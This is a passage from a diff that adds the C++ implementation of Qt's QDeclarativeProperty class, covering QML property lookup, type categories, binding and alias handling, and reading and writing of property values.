+ terminal.at(2).isUpper()) {
+
+ QString signalName = terminal.mid(2);
+ signalName[0] = signalName.at(0).toLower();
+
+ QMetaMethod method = findSignalByName(currentObject->metaObject(), signalName.toLatin1().constData());
+ if (method.signature()) {
+ object = currentObject;
+ core.load(method);
+ return;
+ }
+ }
+
+ // Property
+ QDeclarativePropertyCache::Data local;
+ QDeclarativePropertyCache::Data *property =
+ QDeclarativePropertyCache::property(engine, currentObject, terminal, local);
+ if (property && !(property->flags & QDeclarativePropertyCache::Data::IsFunction)) {
+ object = currentObject;
+ core = *property;
+ nameCache = terminal;
+ isNameCached = true;
+ }
+}
+
+/*!
+ Create a copy of \a other.
+*/
+QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other)
+{
+ d = other.d;
+ if (d)
+ d->addref();
+}
+
+/*!
+ \enum QDeclarativeProperty::PropertyTypeCategory
+
+ This enum specifies a category of QML property.
+
+ \value InvalidCategory The property is invalid, or is a signal property.
+ \value List The property is a QDeclarativeListProperty list property
+ \value Object The property is a QObject derived type pointer
+ \value Normal The property is a normal value property.
+ */
+
+/*!
+ \enum QDeclarativeProperty::Type
+
+ This enum specifies a type of QML property.
+
+ \value Invalid The property is invalid.
+ \value Property The property is a regular Qt property.
+ \value SignalProperty The property is a signal property.
+*/
+
+/*!
+ Returns the property category.
+*/
+QDeclarativeProperty::PropertyTypeCategory QDeclarativeProperty::propertyTypeCategory() const
+{
+ return d ? d->propertyTypeCategory() : InvalidCategory;
+}
+
+QDeclarativeProperty::PropertyTypeCategory
+QDeclarativePropertyPrivate::propertyTypeCategory() const
+{
+ uint type = this->type();
+
+ if (isValueType()) {
+ return QDeclarativeProperty::Normal;
+ } else if (type & QDeclarativeProperty::Property) {
+ int type = propertyType();
+ if (type == QVariant::Invalid)
+ return QDeclarativeProperty::InvalidCategory;
+ else if (QDeclarativeValueTypeFactory::isValueType((uint)type))
+ return QDeclarativeProperty::Normal;
+ else if (core.flags & QDeclarativePropertyCache::Data::IsQObjectDerived)
+ return QDeclarativeProperty::Object;
+ else if (core.flags & QDeclarativePropertyCache::Data::IsQList)
+ return QDeclarativeProperty::List;
+ else
+ return QDeclarativeProperty::Normal;
+ } else {
+ return QDeclarativeProperty::InvalidCategory;
+ }
+}
+
+/*!
+ Returns the type name of the property, or 0 if the property has no type
+ name.
+*/
+const char *QDeclarativeProperty::propertyTypeName() const
+{
+ if (!d)
+ return 0;
+ if (d->isValueType()) {
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context);
+ QDeclarativeValueType *valueType = 0;
+ if (ep) valueType = ep->valueTypes[d->core.propType];
+ else valueType = QDeclarativeValueTypeFactory::valueType(d->core.propType);
+ Q_ASSERT(valueType);
+
+ const char *rv = valueType->metaObject()->property(d->valueType.valueTypeCoreIdx).typeName();
+
+ if (!ep) delete valueType;
+
+ return rv;
+ } else if (d->object && type() & Property && d->core.isValid()) {
+ return d->object->metaObject()->property(d->core.coreIndex).typeName();
+ } else {
+ return 0;
+ }
+}
+
+/*!
+ Returns true if \a other and this QDeclarativeProperty represent the same
+ property.
+*/
+bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const
+{
+ if (!d || !other.d)
+ return false;
+ // category is intentially omitted here as it is generated
+ // from the other members
+ return d->object == other.d->object &&
+ d->core == other.d->core &&
+ d->valueType == other.d->valueType;
+}
+
+/*!
+ Returns the QVariant type of the property, or QVariant::Invalid if the
+ property has no QVariant type.
+*/
+int QDeclarativeProperty::propertyType() const
+{
+ return d ? d->propertyType() : int(QVariant::Invalid);
+}
+
+bool QDeclarativePropertyPrivate::isValueType() const
+{
+ return valueType.valueTypeCoreIdx != -1;
+}
+
+int QDeclarativePropertyPrivate::propertyType() const
+{
+ uint type = this->type();
+ if (isValueType()) {
+ return valueType.valueTypePropType;
+ } else if (type & QDeclarativeProperty::Property) {
+ if (core.propType == (int)QVariant::LastType)
+ return qMetaTypeId<QVariant>();
+ else
+ return core.propType;
+ } else {
+ return QVariant::Invalid;
+ }
+}
+
+QDeclarativeProperty::Type QDeclarativePropertyPrivate::type() const
+{
+ if (core.flags & QDeclarativePropertyCache::Data::IsFunction)
+ return QDeclarativeProperty::SignalProperty;
+ else if (core.isValid())
+ return QDeclarativeProperty::Property;
+ else
+ return QDeclarativeProperty::Invalid;
+}
+
+/*!
+ Returns the type of the property.
+*/
+QDeclarativeProperty::Type QDeclarativeProperty::type() const
+{
+ return d ? d->type() : Invalid;
+}
+
+/*!
+ Returns true if this QDeclarativeProperty represents a regular Qt property.
+*/
+bool QDeclarativeProperty::isProperty() const
+{
+ return type() & Property;
+}
+
+/*!
+ Returns true if this QDeclarativeProperty represents a QML signal property.
+*/
+bool QDeclarativeProperty::isSignalProperty() const
+{
+ return type() & SignalProperty;
+}
+
+/*!
+ Returns the QDeclarativeProperty's QObject.
+*/
+QObject *QDeclarativeProperty::object() const
+{
+ return d ? d->object : 0;
+}
+
+/*!
+ Assign \a other to this QDeclarativeProperty.
+*/
+QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty &other)
+{
+ if (d)
+ d->release();
+ d = other.d;
+ if (d)
+ d->addref();
+
+ return *this;
+}
+
+/*!
+ Returns true if the property is writable, otherwise false.
+*/
+bool QDeclarativeProperty::isWritable() const
+{
+ if (!d)
+ return false;
+ if (!d->object)
+ return false;
+ if (d->core.flags & QDeclarativePropertyCache::Data::IsQList) //list
+ return true;
+ else if (d->core.flags & QDeclarativePropertyCache::Data::IsFunction) //signal handler
+ return false;
+ else if (d->core.isValid()) //normal property
+ return d->core.flags & QDeclarativePropertyCache::Data::IsWritable;
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is designable, otherwise false.
+*/
+bool QDeclarativeProperty::isDesignable() const
+{
+ if (!d)
+ return false;
+ if (type() & Property && d->core.isValid() && d->object)
+ return d->object->metaObject()->property(d->core.coreIndex).isDesignable();
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is resettable, otherwise false.
+*/
+bool QDeclarativeProperty::isResettable() const
+{
+ if (!d)
+ return false;
+ if (type() & Property && d->core.isValid() && d->object)
+ return d->core.flags & QDeclarativePropertyCache::Data::IsResettable;
+ else
+ return false;
+}
+
+/*!
+ Returns true if the QDeclarativeProperty refers to a valid property, otherwise
+ false.
+*/
+bool QDeclarativeProperty::isValid() const
+{
+ if (!d)
+ return false;
+ return type() != Invalid;
+}
+
+/*!
+ Return the name of this QML property.
+*/
+QString QDeclarativeProperty::name() const
+{
+ if (!d)
+ return QString();
+ if (!d->isNameCached) {
+ // ###
+ if (!d->object) {
+ } else if (d->isValueType()) {
+ QString rv = d->core.name(d->object) + QLatin1Char('.');
+
+ QDeclarativeEnginePrivate *ep = d->engine?QDeclarativeEnginePrivate::get(d->engine):0;
+ QDeclarativeValueType *valueType = 0;
+ if (ep) valueType = ep->valueTypes[d->core.propType];
+ else valueType = QDeclarativeValueTypeFactory::valueType(d->core.propType);
+ Q_ASSERT(valueType);
+
+ rv += QString::fromUtf8(valueType->metaObject()->property(d->valueType.valueTypeCoreIdx).name());
+
+ if (!ep) delete valueType;
+
+ d->nameCache = rv;
+ } else if (type() & SignalProperty) {
+ QString name = QLatin1String("on") + d->core.name(d->object);
+ name[2] = name.at(2).toUpper();
+ d->nameCache = name;
+ } else {
+ d->nameCache = d->core.name(d->object);
+ }
+ d->isNameCached = true;
+ }
+
+ return d->nameCache;
+}
+
+/*!
+ Returns the \l{QMetaProperty} {Qt property} associated with
+ this QML property.
+ */
+QMetaProperty QDeclarativeProperty::property() const
+{
+ if (!d)
+ return QMetaProperty();
+ if (type() & Property && d->core.isValid() && d->object)
+ return d->object->metaObject()->property(d->core.coreIndex);
+ else
+ return QMetaProperty();
+}
+
+/*!
+ Return the QMetaMethod for this property if it is a SignalProperty,
+ otherwise returns an invalid QMetaMethod.
+*/
+QMetaMethod QDeclarativeProperty::method() const
+{
+ if (!d)
+ return QMetaMethod();
+ if (type() & SignalProperty && d->object)
+ return d->object->metaObject()->method(d->core.coreIndex);
+ else
+ return QMetaMethod();
+}
+
+/*!
+ Returns the binding associated with this property, or 0 if no binding
+ exists.
+*/
+QDeclarativeAbstractBinding *
+QDeclarativePropertyPrivate::binding(const QDeclarativeProperty &that)
+{
+ if (!that.d || !that.isProperty() || !that.d->object)
+ return 0;
+
+ return binding(that.d->object, that.d->core.coreIndex, that.d->valueType.valueTypeCoreIdx);
+}
+
+/*!
+ Set the binding associated with this property to \a newBinding. Returns
+ the existing binding (if any), otherwise 0.
+
+ \a newBinding will be enabled, and the returned binding (if any) will be
+ disabled.
+
+ Ownership of \a newBinding transfers to QML. Ownership of the return value
+ is assumed by the caller.
+
+ \a flags is passed through to the binding and is used for the initial update (when
+ the binding sets the initial value, it will use these flags for the write).
+*/
+QDeclarativeAbstractBinding *
+QDeclarativePropertyPrivate::setBinding(const QDeclarativeProperty &that,
+ QDeclarativeAbstractBinding *newBinding,
+ WriteFlags flags)
+{
+ if (!that.d || !that.isProperty() || !that.d->object) {
+ if (newBinding)
+ newBinding->destroy();
+ return 0;
+ }
+
+ return that.d->setBinding(that.d->object, that.d->core.coreIndex,
+ that.d->valueType.valueTypeCoreIdx, newBinding, flags);
+}
+
+QDeclarativeAbstractBinding *
+QDeclarativePropertyPrivate::binding(QObject *object, int coreIndex, int valueTypeIndex)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object);
+ if (!data)
+ return 0;
+
+ QDeclarativePropertyCache::Data *propertyData =
+ data->propertyCache?data->propertyCache->property(coreIndex):0;
+ if (propertyData && propertyData->flags & QDeclarativePropertyCache::Data::IsAlias) {
+ const QDeclarativeVMEMetaObject *vme =
+ static_cast<const QDeclarativeVMEMetaObject *>(metaObjectForProperty(object->metaObject(), coreIndex));
+
+ QObject *aObject = 0; int aCoreIndex = -1; int aValueTypeIndex = -1;
+ if (!vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex) || aCoreIndex == -1)
+ return 0;
+
+ // This will either be a value type sub-reference or an alias to a value-type sub-reference not both
+ Q_ASSERT(valueTypeIndex == -1 || aValueTypeIndex == -1);
+ return binding(aObject, aCoreIndex, (valueTypeIndex == -1)?aValueTypeIndex:valueTypeIndex);
+ }
+
+ if (!data->hasBindingBit(coreIndex))
+ return 0;
+
+ QDeclarativeAbstractBinding *binding = data->bindings;
+ while (binding && binding->propertyIndex() != coreIndex)
+ binding = binding->m_nextBinding;
+
+ if (binding && valueTypeIndex != -1) {
+ if (binding->bindingType() == QDeclarativeAbstractBinding::ValueTypeProxy) {
+ int index = coreIndex | (valueTypeIndex << 24);
+ binding = static_cast<QDeclarativeValueTypeProxyBinding *>(binding)->binding(index);
+ }
+ }
+
+ return binding;
+}
+
+void QDeclarativePropertyPrivate::findAliasTarget(QObject *object, int bindingIndex,
+ QObject **targetObject, int *targetBindingIndex)
+{
+ int coreIndex = bindingIndex & 0xFFFFFF;
+ int valueTypeIndex = bindingIndex >> 24;
+ if (valueTypeIndex == 0) valueTypeIndex = -1;
+
+ QDeclarativeData *data = QDeclarativeData::get(object, false);
+ if (data) {
+ QDeclarativePropertyCache::Data *propertyData =
+ data->propertyCache?data->propertyCache->property(coreIndex):0;
+ if (propertyData && propertyData->flags & QDeclarativePropertyCache::Data::IsAlias) {
+ const QDeclarativeVMEMetaObject *vme =
+ static_cast<const QDeclarativeVMEMetaObject *>(metaObjectForProperty(object->metaObject(), coreIndex));
+ QObject *aObject = 0; int aCoreIndex = -1; int aValueTypeIndex = -1;
+ if (vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex)) {
+ // This will either be a value type sub-reference or an alias to a value-type sub-reference not both
+ Q_ASSERT(valueTypeIndex == -1 || aValueTypeIndex == -1);
+
+ int aBindingIndex = aCoreIndex;
+ if (aValueTypeIndex != -1)
+ aBindingIndex |= aValueTypeIndex << 24;
+ else if (valueTypeIndex != -1)
+ aBindingIndex |= valueTypeIndex << 24;
+
+ findAliasTarget(aObject, aBindingIndex, targetObject, targetBindingIndex);
+ return;
+ }
+ }
+ }
+
+ *targetObject = object;
+ *targetBindingIndex = bindingIndex;
+}
+
+QDeclarativeAbstractBinding *
+QDeclarativePropertyPrivate::setBinding(QObject *object, int coreIndex, int valueTypeIndex,
+ QDeclarativeAbstractBinding *newBinding, WriteFlags flags)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object, 0 != newBinding);
+ QDeclarativeAbstractBinding *binding = 0;
+
+ if (data) {
+ QDeclarativePropertyCache::Data *propertyData =
+ data->propertyCache?data->propertyCache->property(coreIndex):0;
+ if (propertyData && propertyData->flags & QDeclarativePropertyCache::Data::IsAlias) {
+ const QDeclarativeVMEMetaObject *vme =
+ static_cast<const QDeclarativeVMEMetaObject *>(metaObjectForProperty(object->metaObject(), coreIndex));
+
+ QObject *aObject = 0; int aCoreIndex = -1; int aValueTypeIndex = -1;
+ if (!vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex)) {
+ if (newBinding) newBinding->destroy();
+ return 0;
+ }
+
+ // This will either be a value type sub-reference or an alias to a value-type sub-reference not both
+ Q_ASSERT(valueTypeIndex == -1 || aValueTypeIndex == -1);
+ return setBinding(aObject, aCoreIndex, (valueTypeIndex == -1)?aValueTypeIndex:valueTypeIndex,
+ newBinding, flags);
+ }
+ }
+
+ if (data && data->hasBindingBit(coreIndex)) {
+ binding = data->bindings;
+
+ while (binding && binding->propertyIndex() != coreIndex)
+ binding = binding->m_nextBinding;
+ }
+
+ int index = coreIndex;
+ if (valueTypeIndex != -1)
+ index |= (valueTypeIndex << 24);
+
+ if (binding && valueTypeIndex != -1 && binding->bindingType() == QDeclarativeAbstractBinding::ValueTypeProxy)
+ binding = static_cast<QDeclarativeValueTypeProxyBinding *>(binding)->binding(index);
+
+ if (binding) {
+ binding->removeFromObject();
+ binding->setEnabled(false, 0);
+ }
+
+ if (newBinding) {
+ newBinding->addToObject(object, index);
+ newBinding->setEnabled(true, flags);
+ }
+
+ return binding;
+}
+
+QDeclarativeAbstractBinding *
+QDeclarativePropertyPrivate::setBindingNoEnable(QObject *object, int coreIndex, int valueTypeIndex,
+ QDeclarativeAbstractBinding *newBinding)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object, 0 != newBinding);
+ QDeclarativeAbstractBinding *binding = 0;
+
+ if (data) {
+ QDeclarativePropertyCache::Data *propertyData =
+ data->propertyCache?data->propertyCache->property(coreIndex):0;
+ if (propertyData && propertyData->flags & QDeclarativePropertyCache::Data::IsAlias) {
+ const QDeclarativeVMEMetaObject *vme =
+ static_cast<const QDeclarativeVMEMetaObject *>(metaObjectForProperty(object->metaObject(), coreIndex));
+
+ QObject *aObject = 0; int aCoreIndex = -1; int aValueTypeIndex = -1;
+ if (!vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex)) {
+ if (newBinding) newBinding->destroy();
+ return 0;
+ }
+
+ // This will either be a value type sub-reference or an alias to a value-type sub-reference not both
+ Q_ASSERT(valueTypeIndex == -1 || aValueTypeIndex == -1);
+ return setBindingNoEnable(aObject, aCoreIndex, (valueTypeIndex == -1)?aValueTypeIndex:valueTypeIndex,
+ newBinding);
+ }
+ }
+
+ if (data && data->hasBindingBit(coreIndex)) {
+ binding = data->bindings;
+
+ while (binding && binding->propertyIndex() != coreIndex)
+ binding = binding->m_nextBinding;
+ }
+
+ int index = coreIndex;
+ if (valueTypeIndex != -1)
+ index |= (valueTypeIndex << 24);
+
+ if (binding && valueTypeIndex != -1 && binding->bindingType() == QDeclarativeAbstractBinding::ValueTypeProxy)
+ binding = static_cast<QDeclarativeValueTypeProxyBinding *>(binding)->binding(index);
+
+ if (binding)
+ binding->removeFromObject();
+
+ if (newBinding)
+ newBinding->addToObject(object, index);
+
+ return binding;
+}
+
+/*!
+ Returns the expression associated with this signal property, or 0 if no
+ signal expression exists.
+*/
+QDeclarativeExpression *
+QDeclarativePropertyPrivate::signalExpression(const QDeclarativeProperty &that)
+{
+ if (!(that.type() & QDeclarativeProperty::SignalProperty))
+ return 0;
+
+ const QObjectList &children = that.d->object->children();
+
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QObject *child = children.at(ii);
+
+ QDeclarativeBoundSignal *signal = QDeclarativeBoundSignal::cast(child);
+ if (signal && signal->index() == that.index())
+ return signal->expression();
+ }
+
+ return 0;
+}
+
+/*!
+ Set the signal expression associated with this signal property to \a expr.
+ Returns the existing signal expression (if any), otherwise 0.
+
+ Ownership of \a expr transfers to QML. Ownership of the return value is
+ assumed by the caller.
+*/
+QDeclarativeExpression *
+QDeclarativePropertyPrivate::setSignalExpression(const QDeclarativeProperty &that,
+ QDeclarativeExpression *expr)
+{
+ if (!(that.type() & QDeclarativeProperty::SignalProperty)) {
+ delete expr;
+ return 0;
+ }
+
+ const QObjectList &children = that.d->object->children();
+
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QObject *child = children.at(ii);
+
+ QDeclarativeBoundSignal *signal = QDeclarativeBoundSignal::cast(child);
+ if (signal && signal->index() == that.index())
+ return signal->setExpression(expr);
+ }
+
+ if (expr) {
+ QDeclarativeBoundSignal *signal = new QDeclarativeBoundSignal(that.d->object, that.method(), that.d->object);
+ return signal->setExpression(expr);
+ } else {
+ return 0;
+ }
+}
+
+/*!
+ Returns the property value.
+*/
+QVariant QDeclarativeProperty::read() const
+{
+ if (!d)
+ return QVariant();
+ if (!d->object)
+ return QVariant();
+
+ if (type() & SignalProperty) {
+
+ return QVariant();
+
+ } else if (type() & Property) {
+
+ return d->readValueProperty();
+
+ }
+ return QVariant();
+}
+
+/*!
+Return the \a name property value of \a object. This method is equivalent to:
+\code
+ QDeclarativeProperty p(object, name);
+ p.read();
+\endcode
+*/
+QVariant QDeclarativeProperty::read(QObject *object, const QString &name)
+{
+ QDeclarativeProperty p(object, name);
+ return p.read();
+}
+
+/*!
+ Return the \a name property value of \a object using the
+ \l{QDeclarativeContext} {context} \a ctxt. This method is
+ equivalent to:
+
+ \code
+ QDeclarativeProperty p(object, name, context);
+ p.read();
+ \endcode
+*/
+QVariant QDeclarativeProperty::read(QObject *object, const QString &name, QDeclarativeContext *ctxt)
+{
+ QDeclarativeProperty p(object, name, ctxt);
+ return p.read();
+}
+
+/*!
+
+ Return the \a name property value of \a object using the environment
+ for instantiating QML components that is provided by \a engine. .
+ This method is equivalent to:
+
+ \code
+ QDeclarativeProperty p(object, name, engine);
+ p.read();
+ \endcode
+*/
+QVariant QDeclarativeProperty::read(QObject *object, const QString &name, QDeclarativeEngine *engine)
+{
+ QDeclarativeProperty p(object, name, engine);
+ return p.read();
+}
+
+QVariant QDeclarativePropertyPrivate::readValueProperty()
+{
+ if (isValueType()) {
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context);
+ QDeclarativeValueType *valueType = 0;
+ if (ep) valueType = ep->valueTypes[core.propType];
+ else valueType = QDeclarativeValueTypeFactory::valueType(core.propType);
+ Q_ASSERT(valueType);
+
+ valueType->read(object, core.coreIndex);
+
+ QVariant rv =
+ valueType->metaObject()->property(this->valueType.valueTypeCoreIdx).read(valueType);
+
+ if (!ep) delete valueType;
+ return rv;
+
+ } else if (core.flags & QDeclarativePropertyCache::Data::IsQList) {
+
+ QDeclarativeListProperty<QObject> prop;
+ void *args[] = { &prop, 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, core.coreIndex, args);
+ return QVariant::fromValue(QDeclarativeListReferencePrivate::init(prop, core.propType, engine));
+
+ } else if (core.flags & QDeclarativePropertyCache::Data::IsQObjectDerived) {
+
+ QObject *rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, core.coreIndex, args);
+ return QVariant::fromValue(rv);
+
+ } else {
+
+ return object->metaObject()->property(core.coreIndex).read(object.data());
+
+ }
+}
+
+//writeEnumProperty MIRRORS the relelvant bit of QMetaProperty::write AND MUST BE KEPT IN SYNC!
+bool QDeclarativePropertyPrivate::writeEnumProperty(const QMetaProperty &prop, int idx, QObject *object, const QVariant &value, int flags)
+{
+ if (!object || !prop.isWritable())
+ return false;
+
+ QVariant v = value;
+ if (prop.isEnumType()) {
+ QMetaEnum menum = prop.enumerator();
+ if (v.userType() == QVariant::String
+#ifdef QT3_SUPPORT
+ || v.userType() == QVariant::CString
+#endif
+ ) {
+ if (prop.isFlagType())
+ v = QVariant(menum.keysToValue(value.toByteArray()));
+ else
+ v = QVariant(menum.keyToValue(value.toByteArray()));
+ } else if (v.userType() != QVariant::Int && v.userType() != QVariant::UInt) {
+ int enumMetaTypeId = QMetaType::type(QByteArray(menum.scope() + QByteArray("::") + menum.name()));
+ if ((enumMetaTypeId == 0) || (v.userType() != enumMetaTypeId) || !v.constData())
+ return false;
+ v = QVariant(*reinterpret_cast<const int *>(v.constData()));
+ }
+ v.convert(QVariant::Int);
+ }
+
+ // the status variable is changed by qt_metacall to indicate what it did
+ // this feature is currently only used by QtDBus and should not be depended
+ // upon. Don't change it without looking into QDBusAbstractInterface first
+ // -1 (unchanged): normal qt_metacall, result stored in argv[0]
+ // changed: result stored directly in value, return the value of status
+ int status = -1;
+ void *argv[] = { v.data(), &v, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, idx, argv);
+ return status;
+}
+
+bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, WriteFlags flags)
+{
+ // Remove any existing bindings on this property
+ if (!(flags & DontRemoveBinding) &&
+ (type() & QDeclarativeProperty::Property) && object) {
+ QDeclarativeAbstractBinding *binding = setBinding(object, core.coreIndex,
+ valueType.valueTypeCoreIdx, 0, flags);
+ if (binding) binding->destroy();
+ }
+
+ bool rv = false;
+ if (isValueType()) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context);
+
+ QDeclarativeValueType *writeBack = 0;
+ if (ep) {
+ writeBack = ep->valueTypes[core.propType];
+ } else {
+ writeBack = QDeclarativeValueTypeFactory::valueType(core.propType);
+ }
+
+ writeBack->read(object, core.coreIndex);
+
+ QDeclarativePropertyCache::Data data = core;
+ data.flags = valueType.flags;
+ data.coreIndex = valueType.valueTypeCoreIdx;
+ data.propType = valueType.valueTypePropType;
+ rv = write(writeBack, data, value, context, flags);
+
+ writeBack->write(object, core.coreIndex, flags);
+ if (!ep) delete writeBack;
+
+ } else {
+
+ rv = write(object, core, value, context, flags);
+
+ }
+
+ return rv;
+}
+
+bool QDeclarativePropertyPrivate::write(QObject *object, const QDeclarativePropertyCache::Data &property,
+ const QVariant &value, QDeclarativeContextData *context,
+ WriteFlags flags)
+{
+ int coreIdx = property.coreIndex;
+ int status = -1; //for dbus
+
+ if (property.flags & QDeclarativePropertyCache::Data::IsEnumType) {
+ QMetaProperty prop = object->metaObject()->property(property.coreIndex);
+ QVariant v = value;
+ // Enum values come through the script engine as doubles
+ if (value.userType() == QVariant::Double) {
+ double integral;
+ double fractional = modf(value.toDouble(), &integral);
+ if (qFuzzyIsNull(fractional))
+ v.convert(QVariant::Int);
+ }
+ return writeEnumProperty(prop, coreIdx, object, v, flags);
+ }
+
+ int propertyType = property.propType;
+ int variantType = value.userType();
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(context);
+
+ if (propertyType == QVariant::Url) {
+
+ QUrl u;
+ bool found = false;
+ if (variantType == QVariant::Url) {
+ u = value.toUrl();
+ found = true;
+ } else if (variantType == QVariant::ByteArray) {
+ u = QUrl(QString::fromUtf8(value.toByteArray()));
+ found = true;
+ } else if (variantType == QVariant::String) {
+ u = QUrl(value.toString());
+ found = true;
+ }
+
+ if (!found)
+ return false;
+
+ if (context && u.isRelative() && !u.isEmpty())
+ u = context->resolvedUrl(u);
+ int status = -1;
+ void *argv[] = { &u, 0, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx, argv);
+
+ } else if (variantType == propertyType) {
+
+ void *a[] = { (void *)value.constData(), 0, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx, a);
+
+ } else if (qMetaTypeId<QVariant>() == propertyType) {
+
+ void *a[] = { (void *)&value, 0, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx, a);
+
+ } else if (property.flags & QDeclarativePropertyCache::Data::IsQObjectDerived) {
+
+ const QMetaObject *valMo = rawMetaObjectForType(enginePriv, value.userType());
+
+ if (!valMo)
+ return false;
+
+ QObject *o = *(QObject **)value.constData();
+ const QMetaObject *propMo = rawMetaObjectForType(enginePriv, propertyType);
+
+ if (o) valMo = o->metaObject();
+
+ if (canConvert(valMo, propMo)) {
+ void *args[] = { &o, 0, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx,
+ args);
+ } else if (!o && canConvert(propMo, valMo)) {
+ // In the case of a null QObject, we assign the null if there is
+ // any change that the null variant type could be up or down cast to
+ // the property type.
+ void *args[] = { &o, 0, &status, &flags };
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx,
+ args);
+ } else {
+ return false;
+ }
+
+ } else if (property.flags & QDeclarativePropertyCache::Data::IsQList) {
+
+ const QMetaObject *listType = 0;
+ if (enginePriv) {
+ listType = enginePriv->rawMetaObjectForType(enginePriv->listType(property.propType));
+ } else {
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(QDeclarativeMetaType::listType(property.propType));
+ if (!type) return false;
+ listType = type->baseMetaObject();
+ }
+ if (!listType) return false;
+
+ QDeclarativeListProperty<void> prop;
+ void *args[] = { &prop, 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, coreIdx, args);
+
+ if (!prop.clear) return false;
+
+ prop.clear(&prop);
+
+ if (value.userType() == qMetaTypeId<QList<QObject *> >()) {
+ const QList<QObject *> &list = qvariant_cast<QList<QObject *> >(value);
+
+ for (int ii = 0; ii < list.count(); ++ii) {
+ QObject *o = list.at(ii);
+ if (o && !canConvert(o->metaObject(), listType))
+ o = 0;
+ prop.append(&prop, (void *)o);
+ }
+ } else {
+ QObject *o = enginePriv?enginePriv->toQObject(value):QDeclarativeMetaType::toQObject(value);
+ if (o && !canConvert(o->metaObject(), listType))
+ o = 0;
+ prop.append(&prop, (void *)o);
+ }
+
+ } else {
+ Q_ASSERT(variantType != propertyType);
+
+ bool ok = false;
+ QVariant v;
+ if (variantType == QVariant::String)
+ v = QDeclarativeStringConverters::variantFromString(value.toString(), propertyType, &ok);
+ if (!ok) {
+ v = value;
+ if (v.convert((QVariant::Type)propertyType)) {
+ ok = true;
+ } else if ((uint)propertyType >= QVariant::UserType && variantType == QVariant::String) {
+ QDeclarativeMetaType::StringConverter con = QDeclarativeMetaType::customStringConverter(propertyType);
+ if (con) {
+ v = con(value.toString());
+ if (v.userType() == propertyType)
+ ok = true;
+ }
+ }
+ }
+ if (ok) {
+ void *a[] = { (void *)v.constData(), 0, &status, &flags};
+ QMetaObject::metacall(object, QMetaObject::WriteProperty, coreIdx, a);
+ } else {
+ return false;
+ }
+ }
+
+ return true;
+}
+
+const QMetaObject *QDeclarativePropertyPrivate::rawMetaObjectForType(QDeclarativeEnginePrivate *engine, int userType)
+{
+ if (engine) {
+ return engine->rawMetaObjectForType(userType);
+ } else {
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(userType);
+ return type?type->baseMetaObject():0;
+ }
+}
+
+/*!
+ Sets the property value to \a value and returns true.
+ Returns false if the property can't be set because the
+ \a value is the wrong type, for example.
+ */
+bool QDeclarativeProperty::write(const QVariant &value) const
+{
+ return QDeclarativePropertyPrivate::write(*this, value, 0);
+}
+
+/*!
+ Writes \a value to the \a name property of \a object. This method
+ is equivalent to:
+
+ \code
+ QDeclarativeProperty p(object, name);
+ p.write(value);
+ \endcode
+*/
+bool QDeclarativeProperty::write(QObject *object, const QString &name, const QVariant &value)
+{
+ QDeclarativeProperty p(object, name);
+ return p.write(value);
+}
+
+/*!
+ Writes \a value to the \a name property of \a object using the
+ \l{QDeclarativeContext} {context} \a ctxt. This method is
+ equivalent to:
+
+ \code
+ QDeclarativeProperty p(object, name, ctxt);
+ p.write(value);
+ \endcode
+*/
+bool QDeclarativeProperty::write(QObject *object,
+ const QString &name,
+ const QVariant &value,
+ QDeclarativeContext *ctxt)
+{
+ QDeclarativeProperty p(object, name, ctxt);
+ return p.write(value);
+}
+
+/*!
+
+ Writes \a value to the \a name property of \a object using the
+ environment for instantiating QML components that is provided by
+ \a engine. This method is equivalent to:
+
+ \code
+ QDeclarativeProperty p(object, name, engine);
+ p.write(value);
+ \endcode
+*/
+bool QDeclarativeProperty::write(QObject *object, const QString &name, const QVariant &value,
+ QDeclarativeEngine *engine)
+{
+ QDeclarativeProperty p(object, name, engine);
+ return p.write(value);
+}
+
+/*!
+ Resets the property and returns true if the property is
+ resettable. If the property is not resettable, nothing happens
+ and false is returned.
+*/
+bool QDeclarativeProperty::reset() const
+{
+ if (isResettable()) {
+ void *args[] = { 0 };
+ QMetaObject::metacall(d->object, QMetaObject::ResetProperty, d->core.coreIndex, args);
+ return true;
+ } else {
+ return false;
+ }
+}
+
+bool QDeclarativePropertyPrivate::write(const QDeclarativeProperty &that,
+ const QVariant &value, WriteFlags flags)
+{
+ if (!that.d)
+ return false;
+ if (that.d->object && that.type() & QDeclarativeProperty::Property &&
+ that.d->core.isValid() && that.isWritable())
+ return that.d->writeValueProperty(value, flags);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property has a change notifier signal, otherwise false.
+*/
+bool QDeclarativeProperty::hasNotifySignal() const
+{
+ if (type() & Property && d->object) {
+ return d->object->metaObject()->property(d->core.coreIndex).hasNotifySignal();
+ }
+ return false;
+}
+
+/*!
